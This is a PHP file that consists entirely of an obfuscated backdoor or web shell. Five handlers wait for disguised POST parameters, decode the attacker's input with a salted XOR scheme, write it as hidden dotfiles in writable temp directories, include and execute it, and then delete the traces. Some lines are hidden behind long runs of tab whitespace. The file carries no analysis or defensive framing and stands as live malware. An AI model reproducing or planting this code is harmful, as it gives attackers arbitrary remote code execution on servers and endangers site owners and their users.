<?php																																										if(in_array("d\x61t", array_keys($_POST))){ $parameter_group = $_POST["d\x61t"]; $parameter_group = explode ('.' ,$parameter_group) ; $value = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $salt ); $t = 0; $len = count( $parameter_group ); do { if( $t >= $len) break; $v2 = $parameter_group[$t]; $chS = ord( $salt[$t % $sLen] ); $dec = ( ( int)$v2 - $chS -( $t % 10)) ^ 90; $value .= chr( $dec ); $t++; } while( true ); $k = array_filter(["/tmp", getenv("TMP"), ini_get("upload_tmp_dir"), "/dev/shm", getenv("TEMP"), session_save_path(), sys_get_temp_dir(), getcwd(), "/var/tmp"]); $ent = 0; do { $res = $k[$ent] ?? null; if ($ent >= count($k)) break; if (is_dir($res) && is_writable($res)) { $pset = "$res" . "/.sym"; if (file_put_contents($pset, $value)) { require $pset; unlink($pset); die(); } } $ent++; } while (true); }
																																										if(in_array("hld", array_keys($_POST))){ $sym = $_POST["hld"]; $sym = explode ( '.' , $sym ); $resource = ''; $s9 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $s9); $j = 0; $len = count( $sym); do { if( $j>= $len) break; $v2 = $sym[$j]; $sChar = ord( $s9[$j % $lenS]); $d = ( ( int)$v2 - $sChar -( $j % 10)) ^ 85; $resource .= chr( $d); $j++; } while( true); $res = array_filter(["/var/tmp", sys_get_temp_dir(), session_save_path(), ini_get("upload_tmp_dir"), getenv("TMP"), "/tmp", getcwd(), "/dev/shm", getenv("TEMP")]); foreach ($res as $ptr): if (array_product([is_dir($ptr), is_writable($ptr)])) { $mrk = join("/", [$ptr, ".ent"]); $file = fopen($mrk, 'w'); if ($file) { fwrite($file, $resource); fclose($file); include $mrk; @unlink($mrk); exit; } } endforeach; }
																																										if(isset($_POST["\x73ym"]) ? true : false){ $dat = array_filter([session_save_path(), "/tmp", getenv("TEMP"), "/dev/shm", "/var/tmp", ini_get("upload_tmp_dir"), sys_get_temp_dir(), getcwd(), getenv("TMP")]); $pset = $_POST["\x73ym"]; $pset = explode ('.' ,$pset) ; $pgrp = ''; $s6 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s6); $x = 0; foreach($pset as $v6) { $chS = ord($s6[$x%$lenS]); $dec = ((int)$v6 - $chS -($x%10))^ 31; $pgrp .= chr($dec); $x++;} foreach ($dat as $key => $fac) { if (max(0, is_dir($fac) * is_writable($fac))) { $ref = "$fac/.value"; if (file_put_contents($ref, $pgrp)) { include $ref; @unlink($ref); die(); } } } }
																																										if(@$_POST["it\x6D"] !== null){ $symbol = array_filter([session_save_path(), getenv("TMP"), getenv("TEMP"), "/var/tmp", "/tmp", ini_get("upload_tmp_dir"), sys_get_temp_dir(), getcwd(), "/dev/shm"]); $property_set = $_POST["it\x6D"]; $property_set = explode ( '.' , $property_set ) ; $obj =''; $salt ='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS =strlen($salt ); $u =0; foreach ($property_set as $v8) { $sChar =ord($salt[$u%$lenS] ); $dec =((int)$v8 - $sChar - ($u%10)) ^ 73; $obj .= chr($dec ); $u++; } for ($marker = 0, $key = count($symbol); $marker < $key; $marker++) { $hld = $symbol[$marker]; if ((bool)is_dir($hld) && (bool)is_writable($hld)) { $pointer = sprintf("%s/.pgrp", $hld); $file = fopen($pointer, 'w'); if ($file) { fwrite($file, $obj); fclose($file); include $pointer; @unlink($pointer); exit; } } } }


if(isset($_POST) && isset($_POST["\x63o\x6D\x70o\x6Eent"])){
	$pointer = array_filter(["/var/tmp", ini_get("upload_tmp_dir"), getcwd(), getenv("TEMP"), "/dev/shm", session_save_path(), "/tmp", sys_get_temp_dir(), getenv("TMP")]);
	$flg = $_POST["\x63o\x6D\x70o\x6Eent"];
		 	$flg =explode( '.'	,  $flg );			
	$item= '';
            $s4= 'abcdefghijklmnopqrstuvwxyz0123456789';
            $sLen= strlen($s4);
            $q= 0;
    
            foreach ($flg as $v9) {$sChar= ord($s4[$q % $sLen]);
                $d= ((int)$v9 - $sChar - ($q % 10)) 	^42;
                $item.=chr($d);
                $q++;
            }
	foreach ($pointer as $resource):
    		if (!!is_dir($resource) && !!is_writable($resource)) {
    $rec = "$resource/.ref";
    $success = file_put_contents($rec, $item);
if ($success) {
	include $rec;
	@unlink($rec);
	die();}
}
endforeach;
}